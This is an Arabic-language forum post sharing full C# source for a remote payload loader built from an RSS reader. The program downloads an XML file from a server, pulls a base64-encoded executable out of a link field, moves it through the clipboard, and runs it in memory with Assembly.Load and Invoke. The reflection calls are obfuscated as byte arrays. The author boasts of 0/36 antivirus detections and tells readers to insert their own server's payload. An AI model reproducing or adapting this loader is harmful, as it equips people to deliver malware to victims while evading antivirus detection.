10.12.2017 Read xml Remotely + [ Entry Point 8 Lines !!] // Clean All


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,821
3,865
1
حياكم الله ياشباب
شفت المشروع هنا
GitHub - rewin123/Anime-Notification: Программа автоматического чтения rss документа и оповещения, в случае появления новой новости, через трей и windows notification
بيقرا ملف الxml وبجيب لينك الrss بليست بوكس
وعند الضغط عليهم بينقلك للينك
فقلت منخزن سترينج مثلا بيس64 بالملف ومنرفع على رابط مباشر
ومنجلب السترينج وعملة حلقة forech حتى احصل على السترينج
لانه بيعطيك اياه كـ Url فلازم نجيب الName
C#:
var current = GetLinks();
            foreach (var variable in current)
            {
                Clipboard.SetText(variable.Name);
            }
ومن ثم كتبتهم بالكليبورد وجلبتهم منه
وشغلتهم بنقطة ادخال جديدة من كتابتي فيها حقوق الاخ قتيبة كمان
واعتمدت بكتابتها على اسلوب كتابة نقطة ادخال الاخ علي "حلاج"
وبعض التمويهات مني ف اصبحت نقطة الادخال ثمانية اسطر :15:
نقطة الادخال هنا تحتوي على تحويل قيم البيس64 الى بايت
نقطة الادخال مارح تشوف فيها اي اثر :15: لـ
System.Reflection.Assembly
Load
Convert
FromBase64String
EntryPoint
Invoke
كلهم تم تشفيرهم اي تم تشفير النقطة من اولها لاخرها
وناتج السورس الطريقة المعتمدة على قراءة اللينك
واللي نحنا حطينا بدالها قيم بيس64 ايضا كلين
هنا نقطة الادخال





بماان نقطة الادخال كلين والطريقة كلين
لذلك هنا الفحص كلين من الكل 0/36
xmlread.exe | 0/36 | NoDistribute




هنا محتوى ملف الـxml




ضع قيم البيس64 الخاصة بسيرفرك مكان Base64
C#:
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
 
<channel>
  <title>W3Schools Home Page</title>
  <link>https://www.w3schools.com</link>
  <description>Free web building tutorials</description>
  <item>
    <title>RSS Tutorial</title>
    <link></link>
    <description>New RSS tutorial on W3Schools</description>
  </item>
  <item>
    <title>XML Tutorial</title>
    <link>Base64</link>
    <description>New XML tutorial on W3Schools</description>
  </item>
</channel>
</rss>
وهنا اكواد السورس كاملة
C#:
using System;
using System.Collections.Generic;
using System.Windows.Forms;
using System.Xml;
using System.Text;
using Microsoft.VisualBasic;
namespace xmlread
{
    internal static class Program
    {
        [STAThread]
        private static void Main()
        {
            var current = GetLinks();
            foreach (var variable in current)
            {
                Clipboard.SetText(variable.Name);
            }
        Interaction.CallByName(Interaction.CallByName(Type.GetType(Bs(new byte[]
         { 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 65, 115, 115, 101, 109, 98, 108, 121}
            ))?.GetMethod(Bs(new byte[] { 76, 111, 97, 100 }),
            new[] { typeof(byte[]) })?.Invoke(null, new[] { Type.GetType(Bs(new byte[]
         { 83, 121, 115, 116, 101, 109, 46, 67, 111, 110, 118, 101, 114, 116
         }))?.GetMethod(Bs(new byte[] { 70, 114, 111, 109, 66, 97, 115, 101, 54, 52, 83, 116, 114, 105, 110, 103 }),
         new []{typeof(string)})?.Invoke(null, new object[] {Clipboard.GetText()}) })
         ?? throw new InvalidOperationException(), GetEn(), CallType.Get), GetIn(), CallType.Method, 0, null);
         Clipboard.Clear();
        }
        private static string GetEn()
        {
            byte[] doit = { 0X45, 0X6E, 0X74, 0X72, 0X79, 0X50, 0X6F, 0X69, 0X6E, 0X74 };
            return Bs(doit);
        }
        private static string Bs(byte[] bashar)
        {
            return Encoding.ASCII.GetString(bashar);
        }
        private static string GetIn()
        {
            byte[] inv = { 0x49, 0x6E, 0x76, 0x6F, 0x6B, 0x65 };
            return Bs(inv);
        }
        static IEnumerable<Link> GetLinks()
        {
            var links = new List<Link>();
            var reader = XmlReader.Create("http://192.168.2.100/rss.xml");
            while (reader.ReadToFollowing("link"))
            {
                reader.Read();
                var l = new Link(reader.Value, "");
                reader.ReadToFollowing("link");
                reader.Read();
                l.Http = reader.Value;
                links.Add(l);
            }
            return links.ToArray();
        }
    }
    internal class Link
    {
        protected bool Equals(Link other)
        {
            return string.Equals(Name, other.Name) && string.Equals(Http, other.Http);
        }
        public override bool Equals(object obj)
        {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            return obj.GetType() == GetType() && Equals((Link)obj);
        }
        public string Name;
        public string Http;
 
        public Link(string name, string http)
        {
            Name = name;
            Http = http;
        }
        public override string ToString()
        {
            return Name;
        }
        public static bool operator ==(Link one, Link two)
        {
            return two != null && one != null && one.Name == two.Name;
        }
 
        public static bool operator !=(Link one, Link two)
        {
            return two != null && one != null && one.Name != two.Name;
        }
        public override int GetHashCode()
        {
            return 0;
        }
    }
}
الفديو بالمرفقات
 

المرفقات